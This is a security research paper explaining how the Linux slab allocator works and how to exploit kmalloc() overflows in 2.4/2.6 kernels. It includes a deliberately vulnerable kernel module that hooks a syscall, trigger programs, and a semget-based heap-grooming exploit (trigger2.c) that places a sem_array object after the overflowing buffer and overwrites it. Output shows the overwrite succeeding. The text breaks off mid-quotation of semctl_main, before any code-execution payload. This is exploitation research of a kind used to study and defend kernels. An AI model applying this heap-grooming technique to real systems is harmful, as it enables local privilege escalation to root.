---| The story of exploiting kmalloc() overflows |---

– qobaiashi

1. Introduction

In the last months some kernel based memory overflow bugs have been found which affect memory regions that are allocated with the kmalloc() routine. As kmalloc() is frequently used in kernel source a buffer overflow most likely affects this memory region.
All advisories rated these bugs as critical and mentioned that a “carefully crafted attack” could lead to elevated privileges by having the kernel execute arbitrary code. Until today no exploit code has been released demonstrating the exploitation of such bugs. In times where buffer overflow protection (e.g. the NX bit, non-executable stack patches) becomes more and more common, kernel bugs are a nice way for attackers to become root on a machine without a buggy SUID application.
This is where this paper comes into play. In the following I will give some background information on the (ab-) used kernel routines and demonstrate the exploitation of a sample bug.

2. The example bug

```
/*

compile: gcc -c mybug.c -I/lib/modules/`uname -r`/build/include
        insmod mybug.o
*/


#define __KERNEL__
#define MODULE

#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/unistd.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

MODULE_AUTHOR("UNF/qobaiashi");
MODULE_LICENSE("GPL");

#define  CALL_NR  35

extern void *sys_call_table[];
int (*old_call)(int, int);

/****************************\
|** overflow a slab object      **|
\****************************/

int vuln(int addr)
{
int *ptr     = NULL;
char *buffer = NULL;

ptr = (int *)addr;

buffer = kmalloc(120, GFP_KERNEL);
if (buffer == NULL)
   {
    printk("-[vuln] could not kmalloc(120)!\n");
    return -1;
   }

printk("-[vuln] got object at %p\n", buffer);

if (copy_from_user(buffer, ptr,170) == -1)
   printk("-[vuln] copy_from_user failed\n");
kfree(buffer);
}

/*************************\
|** consume slab objects      **|
\*************************/

int consume(int one)
{
char *buffer     = NULL;

buffer = kmalloc(120, GFP_KERNEL);
memset(buffer, 0x00, sizeof(buffer));
if (buffer == NULL)
   {
    printk("-[consume] could not kmalloc(120)!\n");
    return -1;
   }

printk("-[consume] got object at %p\n", buffer);
printk("%s", buffer);

if (one == 1)
   {
    kfree(buffer);
    printk("-[consume] freed obj  at %p\n", buffer);
    }
}


/*************************\
|**      main call                  **|
\*************************/

int new_call(int one, int two)
{
if (one == 1)
   {
    vuln(two);
    return 1;
   }

if (one == 2)
   {
    consume(0);
    return 2;
   }

if (one == 3)
   {
    consume(1);
    return 3;
   }
return 0;
}


int init_module(void)
{
printk("[*] vuln loaded!\n");
old_call = sys_call_table[CALL_NR];
sys_call_table[CALL_NR] = new_call;
return 0;
}

void cleanup_module(void)
{
sys_call_table[CALL_NR] = old_call;
printk("[*] vuln unloaded!\n");
}
```

As you can see the bug has been “implemented” as a kernel module. I realized it as a syscall (call number 35) by replacing an unused slot in the sys_call_table and linking it to the new_call() function in the module code. This allows comfortable triggering and loading/unloading of the code. As you might have noticed this code is kernel 2.4. specific as in newer versions the sys_call_table is no longer an exported sysmbol. Thus to make it work on 2.6. kernels some modifications have to be made like hard coding that address into the module source. Our new syscall takes two arguments: the first “flag” specifies which action should be done - overflow, allocate or allocate&deallocate - and for the overflow the second argument is a pointer to the data to be copied. As you can see the module allocates a 120 bytes buffer

```
buffer = kmalloc(120, GFP_KERNEL);
```

and copies 170 bytes into it.

```
copy_from_user(buffer, ptr,170)
```

These values have been randomly chosen but as I will explain later on it would not change much for the process of exploitation. My test system is a 2.4.20 kernel but the concept also works on a 2.6.11 system for example.

3. The slab allocator

Similar to the well known userspace function malloc() which is provided by the standard library, kmalloc() serves the need for dynamic memory allocations at runtime in kernel code. As syscalls for example have only 8Kb (if not configured otherwise) of available stack space one usually tries to avoid allocating big structures and arrays on the kernel stack.

> Side note:
> Every process has a stack in usermode and in kernel mode
> (in fact i think a stack for every ring -> 0, (1, 2,) 3) When switching into kernel mode (int $0x80) %esp is also switched pointing to the kernel mode stack (this switch also affects cs, ss, ds, es).

The buddy system only allows page-wise (0x1000 bytes) allocation of memory which is far too much in most cases. So the slab allocator grabs pages from the buddy system cuts them into smaller pieces and manages them through the kmalloc() and kfree() interface. Memory is managed in so called caches which group memory regions together which are frequently used by certain kernel routines as for example caches for socket information, filesystem drivers, and networking stuff. Frequent memory allocations of certain drivers etc. are directed into such special caches holding only instances of “struct unix.sock” for example where many suitable memory portions (objects, the smalles available unit) are avaiable. To increase performance the slab allocator groups several objects together in so called slabs where a just kfree'd object can as soon as possible be given out again to a new instance of a syscall for example. All caches are on a doubly linked list which makes traversing easier for the kernel when resizing of a certain cache is necessary.

```
+-------+--->+-------+----->+-------+
| CACHE |    | CACHE |      | CACHE |
|       |<---|       |<-----|       |
+---+---+    +---+---+      +---+---+
                 |
                 V
      .--------------------.
      | SLAB | SLAB | SLAB |
      '--------------------'
```

A list of all active caches on your system is at /proc/slabinfo:

```
qobaiashi@cocoon:~> cat /proc/slabinfo
slabinfo - version: 1.1 (SMP)
kmem_cache            80     80    244    5    5    1 :  252  126
fib6_nodes           113    113     32    1    1    1 :  252  126
ip6_dst_cache         20     20    192    1    1    1 :  252  126
ndisc_cache           30     30    128    1    1    1 :  252  126
hpsb_packet            0      0    100    0    0    1 :  252  126
ip_fib_hash          113    113     32    1    1    1 :  252  126
clip_arp_cache         0      0    128    0    0    1 :  252  126
ip_mrt_cache           0      0     96    0    0    1 :  252  126
tcp_tw_bucket         30     30    128    1    1    1 :  252  126
tcp_bind_bucket      113    113     32    1    1    1 :  252  126
tcp_open_request      40     40     96    1    1    1 :  252  126
ip_dst_cache          20     20    192    1    1    1 :  252  126
arp_cache             30     30    128    1    1    1 :  252  126
blkdev_requests     1560   1560     96   39   39    1 :  252  126
nfs_write_data         0      0    384    0    0    1 :  124   62
nfs_read_data          0      0    352    0    0    1 :  124   62
nfs_page               0      0     96    0    0    1 :  252  126
ext2_xattr             0      0     44    0    0    1 :  252  126
kioctx                 0      0    128    0    0    1 :  252  126
kiocb                  0      0     96    0    0    1 :  252  126
eventpoll pwq          0      0     36    0    0    1 :  252  126
eventpoll epi          0      0     96    0    0    1 :  252  126
dnotify_cache        338    338     20    2    2    1 :  252  126
file_lock_cache       40     40     96    1    1    1 :  252  126
async poll table       0      0    144    0    0    1 :  252  126
fasync_cache         126    202     16    1    1    1 :  252  126
uid_cache            113    113     32    1    1    1 :  252  126
skbuff_head_cache     80     80    192    4    4    1 :  252  126
sock                 216    216   1344   72   72    1 :   60   30
sigqueue              28     28    136    1    1    1 :  252  126
kiobuf                 0      0     64    0    0    1 :  252  126
cdev_cache           531    531     64    9    9    1 :  252  126
bdev_cache            59     59     64    1    1    1 :  252  126
mnt_cache             59     59     64    1    1    1 :  252  126
inode_cache        20808  20808    512 2601 2601    1 :  124   62
dentry_cache       23010  23010    128  767  767    1 :  252  126
dquot                  0      0    128    0    0    1 :  252  126
filp                1110   1110    128   37   37    1 :  252  126
names_cache            8      8   4096    8    8    1 :   60   30
buffer_head        32310  32310    128 1077 1077    1 :  252  126
mm_struct             48     48    160    2    2    1 :  252  126
vm_area_struct      1904   2408     68   43   43    1 :  252  126
fs_cache              59     59     64    1    1    1 :  252  126
files_cache           54     54    416    6    6    1 :  124   62
signal_act            51     51   1312   17   17    1 :   60   30
pae_pgd              113    113     32    1    1    1 :  252  126
size-131072(DMA)       0      0 131072    0    0   32 :    0    0
size-131072            0      0 131072    0    0   32 :    0    0
size-65536(DMA)        0      0  65536    0    0   16 :    0    0
size-65536            20     20  65536   20   20   16 :    0    0
size-32768(DMA)        0      0  32768    0    0    8 :    0    0
size-32768             3      3  32768    3    3    8 :    0    0
size-16384(DMA)        0      0  16384    0    0    4 :    0    0
size-16384             0      5  16384    0    5    4 :    0    0
size-8192(DMA)         0      0   8192    0    0    2 :    0    0
size-8192              5     10   8192    5   10    2 :    0    0
size-4096(DMA)         0      0   4096    0    0    1 :   60   30
size-4096             40     40   4096   40   40    1 :   60   30
size-2048(DMA)         0      0   2048    0    0    1 :   60   30
size-2048             20     20   2048   10   10    1 :   60   30
size-1024(DMA)         0      0   1024    0    0    1 :  124   62
size-1024             92     92   1024   23   23    1 :  124   62
size-512(DMA)          0      0    512    0    0    1 :  124   62
size-512             104    104    512   13   13    1 :  124   62
size-256(DMA)          0      0    256    0    0    1 :  252  126
size-256              75     75    256    5    5    1 :  252  126
size-128(DMA)          0      0    128    0    0    1 :  252  126
size-128             900    900    128   30   30    1 :  252  126
size-64(DMA)           0      0     64    0    0    1 :  252  126
size-64             3835   3835     64   65   65    1 :  252  126
size-32(DMA)           0      0     32    0    0    1 :  252  126
size-32              904    904     32    8    8    1 :  252  126
```

Quoting the manpage this means that "[f]or each slab cache, the cache name, the number of currently active objects, the total number of available objects, the size of each object in bytes, the number of pages with at least one active object, the total number of allocated pages, and the number of pages per slab are given.” Kernels with slab cache statistics and/or SMP compiled print out more columns but visit the manpage for an in depth explanation.

Here you can see that the kernel allocates special caches and general purpose caches (size-*) suitable for DMA and for ordinary memory access. Every cache holds three linked lists of slabs for free, partially free and one for full slabs. Additionally every cache has an array for each CPU pointing to free objects in the slabs, managed in the LIFO way (just kfree'd objects should asap be given away again) to minimize linked list and spinlock operations.

```
+-------+
| CACHE |
|-------|                   +-------+    +----------------+
|       |------------------>| CPU_0 |--->| Arry w/ ptrs   |
|       |                   | CPU_N |    | to unused objs |
|  free |-->[ SLAB HEAD ]   +-------+    | in slabs       |
|       |                                +----------------+
|partial|---------------------->+--------+---->+--------+---->+--------+---->+-
|       |<----------------------|  SLAB  |<----|  SLAB  |<----|  SLAB  |<----|
|  full |--[ SLAB HEAD ]        |  HEAD  |     |  HEAD  |     |  HEAD  |     |
|       |                       +--------+     +--------+     +--------+     +
+-------+                       |        |     |        |     |        |     |
                                |   obj  |     |   obj  |     |   obj  |     |
                                .        .     .        .     .        .     .
                                .        .     .        .     .        .     .
```

The cache header is defined as follows:
</mm/slab.c>

```
/*
 * kmem_cache_t
 *
 * manages a cache.
 */

struct kmem_cache_s {
/* 1) per-cpu data, touched during every alloc/free */
        struct array_cache      *array[NR_CPUS];
        unsigned int            batchcount;
        unsigned int            limit;
/* 2) touched by every alloc & free from the backend */
        struct kmem_list3       lists;
        /* NUMA: kmem_3list_t   *nodelists[MAX_NUMNODES] */
        unsigned int            objsize;
        unsigned int            flags;  /* constant flags */
        unsigned int            num;    /* # of objs per slab */
        unsigned int            free_limit; /* upper limit of objects in the
                                                lists */
        spinlock_t              spinlock;

/* 3) cache_grow/shrink */
        /* order of pgs per slab (2^n) */
        unsigned int            gfporder;

        /* force GFP flags, e.g. GFP_DMA */
        unsigned int            gfpflags;

        size_t                  colour;         /* cache colouring range */
        unsigned int            colour_off;     /* colour offset */
        unsigned int            colour_next;    /* cache colouring */
        kmem_cache_t            *slabp_cache;
        unsigned int            slab_size;
        unsigned int            dflags;         /* dynamic flags */

        /* constructor func */
        void (*ctor)(void *, kmem_cache_t *, unsigned long);

        /* de-constructor func */
        void (*dtor)(void *, kmem_cache_t *, unsigned long);

/* 4) cache creation/removal */
        const char              *name;
        struct list_head        next;

/* 5) statistics */
#if STATS
        unsigned long           num_active;
        unsigned long           num_allocations;
        unsigned long           high_mark;
        unsigned long           grown;
        unsigned long           reaped;
        unsigned long           errors;
        unsigned long           max_freeable;
        unsigned long           node_allocs;
        atomic_t                allochit;
        atomic_t                allocmiss;
        atomic_t                freehit;
        atomic_t                freemiss;
#endif
#if DEBUG
        int                     dbghead;
        int                     reallen;
#endif
};
```

Here I will not get lost explaining too much details. The only two entries that catch the eye are the constructor and de-constructor function pointers which are called when an object is allocated. Mostly these variables are not used and thus NULL pointers. Here you can also see the optional entries for extra statistics. But before you start thinking in the wrong direction we will not use these function pointers – the cache header is there for the sake of completeness.

Let us take a closer look at the next unit, the slab header.
<mm/slab.c>

```
/*
 * struct slab
 *
 * Manages the objs in a slab. Placed either at the beginning of
 * mem allocated for a slab, or allocated from an general cache.
 * Slabs are chained into three list: fully used, partial, fully free
 * slabs.
 */
struct slab {
       struct  list_head        list;
       unsigned long          colouroff;
       void                  *s_mem;       /* including colour offset */
       unsigned int           inuse;       /* num of objs active in slab*/
       kmem_bufctl_t          free;
};

struct list_head {
  struct list_head *next, *prev;
 };
 typedef struct list_head list_t;
```

Each header is located PAGE_SIZE aligned (to my experience -> buddy) at the beginning of a (on-slab) slab. Every object in the slab is sizeof(void *) aligned to increase access spead. After this header follows an array containing an int value for every object. These values however are only important for currently free objects and are used as an index to the next free object in the slab. A value called BUFCTL_END (slab.c: #define BUFCTL_END 0xffffFFFF) marks the end of this array. "colouroff" describes "offsetting the slab_t structure into the slab area to maximize cache alignment." (slab.c) The size of this colour area is calculated as total_slab_space – (object_size*object_count + slab_header) and has a variable size. Slab headers are located on slab or "off-slab" at an independent object. Due to the *s_mem member of the slab_t struct it is unimportant where the slab head is stored because it holds a pointer to the beginning of the objects of a slab. The decision for on or off-slab is made in kmem_cache_create:

</mm/slab.c>

```
---8<---
/* Determine if the slab management is 'on' or 'off' slab. */

if (size >= (PAGE_SIZE>>3)) // if (size-requested >= 512)

/*
 * Size is large, assume best to place the slab management obj
 * off-slab (should allow better packing of objs).
 */

flags |= CFLGS_OFF_SLAB;     //a special flag was set

---8<---
// If the requested object size is >= 512 bytes. BUT:

---8<---
/*
 If the slab has been placed off-slab, and we have enough space
 then move it on-slab. This is at the expense of any extra
  colouring.
 */

if (flags & CFLGS_OFF_SLAB && left_over >= slab_size)   {
     flags &= ~CFLGS_OFF_SLAB;
     left_over -= slab_size;
   }

 ---8<---
```

If the header fit into the allocated slab space chances are good that it gets placed on-slab. There is only one flag – CFLGS_OFF_SLAB – to be set in the kmem_cache_t header or not. If it is set, then all slabs must have their header stored “off-slab”.

```
So in memory a slab would look like this:

 <--0x00                                                                  0xff ->
[SLAB HEADER][COLOUR][obj1 ][ojb 2][obj 3][obj 4][obj 5][obj 6][obj 7]
```

For completeness I also mention kfree() which is a rather boring funtion. All it does is give an object back to its cache and make it available in the cpu array.

4. Exploit development

Now that we know the inner workings of the memory allocator we can start playing with the bug and develop an exploit strategy. Our bug can be triggered through syscall_nr 35 so we quickly write a trigger and find out what happens.

```
/*
 * trigger.c
 *
 */

#include <sys/syscall.h>
#include <unistd.h>

/*****************\
|**    usage    **|
\*****************/
void usage(char *path)
{
printf(" |----------------------------\n");
printf(" | usage: %s  \n", path);
printf(" |  1 overflow \n");
printf(" |  2 consume  \n");
printf(" |  3 consume+free\n");
exit(0);
}

int main(int argc, char *argv[])
{
int arg;
char buffer[1024];
memset(buffer, 0x41, sizeof(buffer));

if (argc < 2)
   {
    usage(argv[0]);
    exit(1);
    }

arg = strtoul(argv[1], 0, 0);

//consumer
syscall(35, arg, buffer);
}
```

The code in action:

```
cocoon:/home/qobaiashi/kernelsploit # insmod ./mybug.o
cocoon:/home/qobaiashi/kernelsploit # dmesg | tail -n 1
[*] vuln loaded!
qobaiashi@cocoon:~> ./trigger 1;dmesg | tail -n 4
Linux video capture interface: v1.00
eth0: no IPv6 routers present
[*] vuln loaded!
-[vuln] got object at cfeb4cc0
```

So we see that our overflow routine has been hit but we can not see any reactions on the console output. Let us see what happens here.

```
Our slab before the overflow:

 <--0x00                                                    0xff ->
[SLAB HEADER][COLOUR][obj1 ][ojb 2][obj 3][obj 4][obj 5][obj 6][obj 7]
```

When the routine is called it kmallocs an object, for example obj 4. Then copy_from_user writes 170 bytes into this 128 bytes sized object. Although the code only requested 120 bytes we are directed to the size-128 cache and thus get a 128 bytes object.

```
Our slab after the ovefow:

 <--0x00                                                    0xff ->
[SLAB HEADER][COLOUR][obj1 ][ojb 2][obj 3][aaaaa][aaj 5][obj 6][obj 7]
```

We have overwritten parts of the neighbouring object in the slab. Now it becomes obvious that an overflow does not necessarily have to lead to visible consequences. For exploitation we can not rely on the slab header and its list_head entry or something like that since it is located before any object we can get from kmalloc() and writing goes towards higher addresses! An option would be to wait for an off-slab to be created if we were in a cache that creates off-slab headers. But since we can not guarantee that I did not consider this as an option. So a more practicable and general solution is to exploit the overflow and thus the control of another object.

Therefore we need to get two contignuous objects right behind each other for a controled overwrite of memory and for reliable exploitation without causing crashes of other daemons or even drivers.

```
qobaiashi@cocoon:~> ./trigger 3;./trigger 3;./trigger 3;./trigger 3;dmesg | tail
-[consume] got object at cfe71540
-[consume] freed obj  at cfe71540
-[consume] got object at cfe71540
-[consume] freed obj  at cfe71540
-[consume] got object at cfe71540
-[consume] freed obj  at cfe71540
-[consume] got object at cfe71540
-[consume] freed obj  at cfe71540
-[consume] got object at cfe71540
-[consume] freed obj  at cfe71540
```

What we see here is the LIFO array of the cpu in action: our syscall repeatedly gets the same object and kfrees it. So we need to allocate more objects simultanously without kfreeing them. This is what the trigger 2 option is for:

```
qobaiashi@cocoon:~> ./trigger 2;./trigger 2;./trigger 2;./trigger 2;dmesg | tail
-[consume] got object at cfe71540
-[consume] freed obj  at cfe71540
-[consume] got object at c8c1b8c0
-[consume] got object at c29b05c0e
-[consume] got object at c29b0640
-[consume] got object at c29b0840
```

Here we already got two suitable objects at c29b05c0 and c29b0640:

$$0xc29b0640 – 0xc29b05c0 = 0x80 = 128$$

So it is possible to get two usable objects but this is not yet reliable and we will have no helping console output in a real life scenarios. Let us consume more objects until the cache is exhausted and enlarged (more space is requested from the buddy-system and made available as slabs):

```
qobaiashi@cocoon:~> cat /proc/slabinfo | grep size-128 | grep -v
DMA
size-128            638    750    128   25   25    1

qobaiashi@cocoon:~> ./trigger 2;./trigger 2;./trigger 2;.
[...]
qobaiashi@cocoon:~> dmesg
[...]
-[consume] got object at c30d4e40
-[consume] got object at c30d4dc0
-[consume] got object at c30d4c40
-[consume] got object at c30d4ac0
-[consume] got object at c30d4940
-[consume] got object at c30d4d40
-[consume] got object at c30d49c0
-[consume] got object at c30d4cc0
-[consume] got object at c3128640
-[consume] got object at c31283c0
-[consume] got object at c31287c0
-[consume] got object at c3128440
-[consume] got object at c3128340
-[consume] got object at c3128840
-[consume] got object at c3128dc0
-[consume] got object at c31286c0
-[consume] got object at c31284c0
-[consume] got object at c31285c0
-[consume] got object at c3128540
-[consume] got object at c31289c0
-[consume] got object at c31288c0
-[consume] got object at c3128740
-[consume] got object at c31280c0
-[consume] got object at c3128140
-[consume] got object at c31282c0
-[consume] got object at c3128c40
-[consume] got object at c3128cc0
-[consume] got object at c3128d40
-[consume] got object at c3128240
-[consume] got object at c31281c0
-[consume] got object at c3128ec0
-[consume] got object at c3128a40
-[consume] got object at c3128ac0
-[consume] got object at c3128b40
-[consume] got object at c3128bc0
-[consume] got object at c5917240
-[consume] got object at c59171c0
-[consume] got object at c5917140
-[consume] got object at c59170c0
-[consume] got object at c59172c0
qobaiashi@cocoon:~> cat /proc/slabinfo | grep size-128 | grep -v
DMA
size-128            754    780    128   26   26    1
```

As we can see there seem to be contignuous objects available at the end of a cache (c3128a40, c3128ac0, c3128b40, c3128bc0) right before resizing occurs (notice the change in addresses from c3128*** to c5917*** and the first two numbers of the slabinfo output: the first is the used objects counter, the second is the total number of objects in the cache). This is because then there are no more random objects in the LIFO array. At least for me expereience has shown that one can get always two usable objects. Of course here we have a race condition but the chances that another kernel routine steals away one of our two desired objects is rather small as this can be implemented in a fast for() loop for example.

In the end however I do not want to be dependend on a function of the mybug module except for the overflow because I want the example to be as real as possible. Thus we need a function in the kernel which does the exact same thing as trigger 2: allocate an object in the size-128 cache and NOT kfree it after the the syscall has returned to userspace. Here good knowledge of the kernel source comes in handy and I spent some time less'ing and grep'ing me through a mass of source code until I have found a routine in the IPC management. IPC provides memory regions for Inter Process Communication which can be accessed by multible processes and can even exist without an application using it. The following code only slightly differs among 2.4 and 2.6 kernels and in fact can be used for our purposes on both systems:
</ipc/sem.h>

```
asmlinkage long sys_semget (key_t key, int nsems, int semflg)
{
    int id, err = -EINVAL;
    struct sem_array *sma;

    if (nsems < 0 || nsems > sc_semmsl)
        return -EINVAL;
    down(&sem_ids.sem);

    if (key == IPC_PRIVATE) {
        err = newary(key, nsems, semflg);
-------------------------8<-----------------------

static int newary (key_t key, int nsems, int semflg)
{
    int id;
    struct sem_array *sma;
    int size;
    if (!nsems)
        return -EINVAL;
    if (used_sems + nsems > sc_semmns)
                // > INT_MAX max # of semaphores in system
        return -ENOSPC;

    size = sizeof (*sma) + nsems * sizeof (struct sem);
    sma = (struct sem_array *) ipc_alloc(size);
    if (!sma) {
        return -ENOMEM;
    }
    memset (sma, 0, size);
    id = ipc_addid(&sem_ids, &sma->sem_perm, sc_semmni);
    if(id == -1) {
        ipc_free(sma, size);
        return -ENOSPC;
    }
    used_sems += nsems;

    sma->sem_perm.mode = (semflg & S_IRWXUGO);
    sma->sem_perm.key = key;
    sma->sem_base = (struct sem *) &sma[1];
    /* sma->sem_pending = NULL; */
    sma->sem_pending_last = &sma->sem_pending;
    /* sma->undo = NULL; */
    sma->sem_nsems = nsems;
    sma->sem_ctime = CURRENT_TIME;
    sem_unlock(id);

    return sem_buildid(id, sma->sem_perm.seq);
}   sma->sem_perm.mode = (semflg & S_IRWXUGO);
    sma->sem_perm.key = key;

    sma->sem_base = (struct sem *) &sma[1];
    /* sma->sem_pending = NULL; */
    sma->sem_pending_last = &sma->sem_pending;
    /* sma->undo = NULL; */
    sma->sem_nsems = nsems;
    sma->sem_ctime = CURRENT_TIME;
    sem_unlock(id);

    return sem_buildid(id, sma->sem_perm.seq);
}
```

Using sys_semget we can now allocate nearly arbitrary sized objects in the general purpose caches. In our example a “semget(IPC_PRIVATE, 9, IPC_CREAT);” perfectly consumes a 128 bytes object!

Now let us combine what we have: we can allocate two objects behind each other and overflow a desired object with just one problem:
If we use our (ph-) neutral semget routine to alloc the objects we can not overflow the second one with our attacker function from the mybug.o since it would then again get an object after our two friends. The overflow (as in most real life cases) resides in an allocate-overflow-release syscall so we have a timeline problem to beat here. We have to create the attacker object, create the victim object, trigger the overflow and use the attacked object to finally get us somewhere.
Here we will abuse the cpu LIFO array! Remember that a just kfree'd object shoul be asap given out again. So we will allocate our two objects with semget where the first object serves as a placeholder for the attacker routine. Once we got two concurrent objects we remove the placeholder and reclaim it right after that with the attacker and thus can precisely overflow any desired object we want!

```
/*
 *
 *  trigger2.c
 *  """""""""""
 */

#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>


/*************\
|* prototypes *|
\*************/

void usage(char *path);
int  get_file(char *path);
int  prepare(int total, int active, int arg, char* buffer);


/*************\
|*   globals  *|
\*************/

int fd;

/***********\
|**  main  **|
\***********/

int main(int argc, char *argv[])
{
char *ptr;
int arg, tmp, active, total, placehold, victim;
char buffer[1024*4];//yo ugly!=>lseek
memset(buffer, 0x00, sizeof(buffer));

if (argc < 2)
   {
    usage(argv[0]);
    exit(1);
    }

arg = strtoul(argv[1], 0, 0);

if ((get_file("/proc/slabinfo")) == -1)
   {
    printf("couldn't open file...\n");
    exit(-1);
   }

if(read(fd, buffer, sizeof(buffer)) == -1)
  {
   printf("[!] could not read slabinfo!..leaving\n");
   exit(0);
  }

ptr = strstr(buffer, "size-128(DMA)") + 13;
ptr = strstr(ptr, "size-128");
ptr+=13;
active = strtoul(ptr, 0, 0);
ptr+=13;
total = strtoul(ptr, 0, 0);

//----------prepare--------------
prepare(total, active, arg, buffer);
//---update status--------------
close(fd);
if ((tmp = get_file("/proc/slabinfo")) == -1)
   {
    printf("couldn't open file...\n");
    exit(-1);
   }

if(tmp = read(fd, buffer, sizeof(buffer)) == -1)
  {
   printf("[!] could not read slabinfo!..leaving\n");
   exit(0);
  }
ptr = strstr(buffer, "size-128(DMA)") + 13;
ptr = strstr(ptr, "size-128");
ptr+=13;
active = strtoul(ptr, 0, 0);
ptr+=13;
total = strtoul(ptr, 0, 0);
//---------assume we get 2 good objects
printf("active %d total %d\n", active, total);
close(fd);
memset(buffer, 0x41, sizeof(buffer));


//syscall(35, 2, buffer);
//syscall(35, 2, buffer);

//hopefully get 2 contignuous objects:
placehold = semget(IPC_PRIVATE, 9, IPC_CREAT);
victim    = semget(IPC_PRIVATE, 9, IPC_CREAT);

//now replace the placeholder with the attacker:
if(semctl(placehold, 0, IPC_RMID) == -1)
  printf("could not kfree placeholder!\n");
syscall(35, 1, buffer);
}


/********************\
|**  get the file  **|
\********************/
int get_file(char *path)
{
struct stat buf;

if ((fd=open(path, O_RDONLY)) == -1)
   {
    perror("open");
    return -1;
   }

if ((fstat(fd, &buf) < 0))
   {
    perror("fstat");
    return -1;
    }

return buf.st_size;
}


/*****************\
|**    usage    **|
\*****************/
void usage(char *path)
{
printf(" |----------------------------\n");
printf(" | usage: %s  \n", path);
printf(" |  1 overflow \n");
printf(" |  2 consume  \n");
printf(" |  3 consume+free\n");
exit(0);
}


/*****************\
|**  prepare    **|
\*****************/

int  prepare(int total, int active, int arg, char *buffer)
{
int cntr, limit = (total - active) - 4;//4 before resizing occurs
int checktotal = total;
char *ptr = NULL;

printf("consuming %d\n", limit);

if(limit)
  {
   for(cntr = 0;cntr <= limit;cntr++)
       semget(IPC_PRIVATE, 9, IPC_CREAT);
       //syscall(35, 2, buffer);
  }

}
```

Executing the code above:

```
qobaiashi@cocoon:~> cat /proc/slabinfo | grep size-128 | grep -v DMA
size-128            643    780    128   24   26    1
qobaiashi@cocoon:~> ./trigger2 1
consuming 133
active 777 total 780
qobaiashi@cocoon:~> cat /proc/slabinfo | grep size-128 | grep -v DMA
size-128            778    780    128   26   26    1
qobaiashi@cocoon:~> cat /proc/sysvipc/sem
       key      semid perms      nsems   uid   gid  cuid  cgid      otime      ctime
         0          0     0          9   500   100   500   100          0 1127153344
         0      32769     0          9   500   100   500   100          0 1127153344
         0      65538     0          9   500   100   500   100          0 1127153344
[...]
         0    4096125     0          9   500   100   500   100          0 1127153344
         0    4128894     0          9   500   100   500   100          0 1127153344
         0    4161663     0          9   500   100   500   100          0 1127153344
         0    4194432     0          9   500   100   500   100          0 1127153344
         0    4227201     0          9   500   100   500   100          0 1127153344
         0    4259970     0          9   500   100   500   100          0 1127153344
         0    4292739     0          9   500   100   500   100          0 1127153344
         0    4325508     0          9   500   100   500   100          0 1127153344
         0    4358277     0          9   500   100   500   100          0 1127153344
1094795585 -1600094073  40501          9 1094795585 1094795585 1094795585 1094795585 1094795585
1094795585
qobaiashi@cocoon:~>
```

Here we see all the created semaphores (do not use ipcs as it will lie because of the required access permissions) and the last one being overflowed with 0x41414141 which equals 1094795585. So our placeholder trick works as expected. Now that we can overflow any object we need a suitable victim routine that makes use of a 128 bytes object which will eventually allow arbitrary code execution. This is where I had to go back grep'ing and less'ing a lot of kernel code looking for some routine that allocates some pointers most likely in a structure and that has sepperate allocator and usage functions. We can not use a routine which allocates the structure copies something from userspace and uses these values all at once because this would again be a race condition to win. I did not want to win races as this means unreliable exploitation. After futile hours of searching I finally went back to the IPC code to find what was resting there so close :):

</include/linu/sem.h>

```
/* One sem_array data structure for each set of semaphores in the system.
*/
struct sem_array {
        struct kern_ipc_perm    sem_perm;       /* permissions .. see ipc.h */
        time_t                  sem_otime;      /* last semop time */
        time_t                  sem_ctime;      /* last change time */
        struct sem              *sem_base;      /* ptr to first semaphore in array */
        struct sem_queue        *sem_pending;   /* pending operations to be
                                                 * processed */
        struct sem_queue        **sem_pending_last; /* last pending operation
                                                 */
        struct sem_undo         *undo;          /* undo requests on this array */
        unsigned long           sem_nsems;      /* no. of semaphores in array */
};

struct sem {
        int     semval;         /* current value */
        int     sempid;         /* pid of last operation */
};
```

</ipc/sem.h>

(Slightly reformated to fit the columns)

```
int semctl_main(int semid, int semnum, int cmd, int
version, union semun arg)
{
        struct sem_array *sma;
[1]     struct sem* curr;
        int err;
        ushort fast_sem_io[SEMMSL_FAST];
        ushort* sem_io = fast_sem_io;
        int nsems;

        sma = sem_lock(semid);
        if(sma==NULL)
                return -EINVAL;

        nsems = sma->sem_nsems;

        err=-EIDRM;
        if (sem_checkid(sma,semid))
                goto out_unlock;

        err = -EACCES;
        if (ipcperms (&sma->sem_perm, (cmd==SETVAL||
            cmd==SETALL)?S_IWUGO:S_IRUGO))
                goto out_unlock;

        switch (cmd) {
        case GETALL:
        {
                ushort *array = arg.array;
                int i;

                if(nsems > SEMMSL_FAST) {
                        sem_unlock(semid);
                        sem_io =
                        ipc_alloc(sizeof(ushort)*nsems);
                        if(sem_io == NULL)
                                return -ENOMEM;
                        err = sem_revalidate(semid, sma,
                               nsems, S_IRUGO);
                        if(err)
                                goto out_free;
                }

                for (i = 0; i < sma->sem_nsems; i++)
                     sem_io[i] = sma->sem_base[i].semval;
                sem_unlock(semid);
                err = 0;
                if(copy_to_user(array, sem_io,
                        nsems*sizeof(ushort)))
                        err = -EFAULT;
                goto out_free;
        }
        case SETALL:
        {
                int i;
                struct sem_undo *un;

                sem_unlock(semid);

                if(nsems > SEMMSL_FAST) {
                   sem_io =
                    ipc_alloc(sizeof(ushort)*nsems);
                        if(sem_io == NULL)
                                return -ENOMEM;
                }

                if (copy_from_user (sem_io, arg.array,
                        nsems*sizeof(ushort))) {
                        err = -EFAULT;
                        goto out_free;
                }

                for (i = 0; i < nsems; i++) {
                        if (sem_io[i] > SEMVMX) {
                                err = -ERANGE;
                                goto out_free;
                        }
                }
                err = sem_revalidate(semid, sma, nsems,
                         S_IWUGO);
                if(err)
                        goto out_free;

                for (i = 0; i < nsems; i++)
                     sma->sem_base[i].semval = sem_io[i];
                for (un = sma->undo; un; un = un>id_next)
                        for (i = 0; i < nsems; i++)
                                un->semadj[i] = 0;
                sma->sem_ctime = CURRENT_TIME;
                /* maybe some queued-up processes were
                   waiting for this */
                update_queue(sma);
                err = 0;
                goto out_unlock;
        }
        case IPC_STAT:
        {
                struct semid64_ds tbuf;
                memset(&tbuf,0,sizeof(tbuf));
                kernel_to_ipc64_perm(&sma->sem_perm,
                                  &tbuf.sem_perm);
                tbuf.sem_otime  = sma->sem_otime;
                tbuf.sem_ctime  = sma->sem_ctime;
